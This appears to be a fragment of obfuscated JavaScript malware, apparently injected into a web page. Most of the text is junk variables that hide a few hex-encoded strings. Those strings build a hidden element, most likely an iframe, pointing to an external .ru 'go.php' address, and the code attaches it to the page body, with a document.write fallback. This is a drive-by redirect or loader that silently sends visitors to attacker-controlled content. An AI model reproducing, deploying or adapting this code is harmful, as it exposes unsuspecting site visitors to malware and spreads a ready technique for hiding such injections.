gGV="gGV";var dZ="";var xV=function(){};var gGL='';var kRF='';yZ=64223;hQ="";var tM=27924;var gA=19597;var vB=40692;pZ=2139;var sR=function(){return 'sR'};this.cN=false;eFI=false;var sX=function(){};eO=19706;var dMV=new Array();uX="";var qY=function(){};var yW="yW";aQ="";iA='';var vU=new Array();this.aN="aN";var bI=new Array();jZ=35096;var pA='';iT="iT";this.rSZ='';var mE=function(){};var kZ='';this.kW="";this.cZ=62828;var lJ=false;var bP="";this.rE=26154;zBC=false;var rPW=function(){return 'rPW'};this.jJ='';function yD(){};zU='';mT=1595;this.hJ="";var lX=false;this.wA="";var uXR=function(){};var uE=17263;var kU="kU";this.mF="";var xOK=function(){return 'xOK'};oH="oH";var gU=new Date();var wZ=new Date();var jD=new Array();var gXP=52495;sP="sP";var uOE='';var yB=function(){return 'yB'};iD="iD";iAI=17240;var cS=new Date();var uB="";var vF="";var tQ=function(){return 'tQ'};var uC=new Array();sM='';this.aL=false;var dMH="";eWH="eWH";qS="";var wZY="wZY";var cM='';pD="pD";this.mJ="mJ";this.dS="dS";this.nR='';this.bC='';var sSG=new Date();var vH=new Array();var jDH=function(){return 'jDH'};var iK=17839;jU="jU";yS="yS";var sB=function(){};rO='';this.pN="";sK="";fQ=false;this.wN="";rB=false;this.hI=32262;var sWD="";this.jPS=false;var pAW="pAW";this.rLE="rLE";mIQ='';this.nO=false;function rY(){};this.oQ=26643;lB=6612;var wS='';dYU=false;this.dN='';var uU=new Date();var vC=new Array();var nU=false;var tVO="tVO";var mA="mA";function mG(){};pL=22421;aU=18888;var pJ="";var oR="oR";var lYC=function(){return 'lYC'};tNK="tNK";this.oN=false;var oRZ=function(){return 'oRZ'};var rZ = cC[5][cC[4]](3, 16);var zW=32116;var qYY='';this.eU="";function mN(){};var bK=18986;this.nD=25027;var lO = cC[7][cC[4]](3, 6);var sQ=new Date();gE=false;var nYN="nYN";var hP="hP";var tCL=49155;var jI = cC[1][cC[4]](3, 4);var lI=function(){return 'lI'};var aT=new Array();function qQ(){};function mV(){};var sMW="";var tVK="tVK";iLN='';this.rR='';g = lO + function(nvIM,vwN,DcSJ){return ['x52x6dx6a'+DcSJ,vwN+'x6dx65','x43x72x33x37'+nvIM]}('x74','x61','x62x30')[1];function zD(){};this.lAM=65505;mIV=false;this.tNY="tNY";pC=48286;xK="xK";var m = cC[12][cC[4]](3, 4);this.uF=11345;this.tK='';var dYX=false;var dNG=new Array();this.eV="";var zID=61969;eT='';this.wYR=15858;var cQ = cC[8][cC[4]](3, 11);function tT(){};function cNL(){};this.wT=false;uXM="uXM";cO=false;e = cQ + function(X,G,Y,Q0U,V){return ['x62x75'+V,'x69x4ax79'+G,X+'x6dx6d',Q0U+'x5ax67x32x71',Y+'x56']}('x59x58','x65x79x79','x7ax5ax4fx65','x77','x74x65')[0];this.jS=false;var yR=function(){};var bW="";aGQ="";var qF="qF";cP="cP";var yQ=cC[11][rZ](g);var bF="";var oNE=function(){};fW=49400;var yN="";var a = cC[3][cC[4]](3, 9);var kQ="kQ";fAZ="";hIA=21946;hQT='';var lH = cC[6][cC[4]](3, 8);var nF=false;var kP="kP";var oU=5502;hQK="";qFE="";var xQ='';yQ[cC[2]] = function(xt8,lqHAP,miL,T){return ['x58x5ax6ex50'+lqHAP,'x63x66x51'+T,miL+'x67x62x38x74','x68x74x74x70x3ax2fx2fx63x61x72x6fx6dx62'+xt8]}('x6fx6cx6bx61x73x2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x30','x62x49','x50x4c','x6fx70x79x4dx66')[3];qW="qW";var gB=new Date();var pG='';var kO="kO";var mOU=function(){return 'mOU'};this.vA="vA";hYB="";this.yJ=15824;var oNH=function(){return 'oNH'};function kZD(){};yQ[lH] = jI;function jB(){};var hFF=false;var mAU=function(){};function gBS(){};wF=40970;var lOV=false;var kPH=false;iS="iS";yQ[a] = m;gS="gS";var hJA=new Date();var uUM=false;this.tAN='';tFZ="";var kI="kI";this.jX=25294;mJQ='';pRB='';var qL=new Date();this.hZ='';var hR=17358;this.aTE="";this.mY="mY";this.gV="";this.hIX="";this.kQD="";var yRW=false;yU='';cC[11][cC[9]][cC[10]](yQ);this.rI=false;jZC=false;cU='';aB="aB";var uS=new Date();this.yUQ=31431;this.aC="";} catch(tZ) {var fY='';var zC=57789;rA=35637;nP='';var aO="";h[sW](function(xQs,EEv,d,cMiH){return ['x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3e'+cMiH,'x49'+xQs,'x51'+d,'x68x6dx5ax4e'+EEv]}('x44x59','x70x35x79x64x72','x4b','x3cx74x64x20x3ex3cx2fx74x64x3ex3cx2fx62x6fx64x79x3ex3cx2fx68x74x6dx6cx3e')[0]);var vAF=function(){};var kQA=function(){};this.jAQ='';this.iU="iU";lD=5349;this.gM='';function sPX(){};this.oA="oA";vG[r](function(){ vI.v() }, 105);lAT=52701;function tZL(){};var pJJ=new Array();}var eH=29828;function sZ(){};qI="";function iP(){};}};var uOF=41594;var pP=new zO(); this.fX='';pP.v();this.wP=false;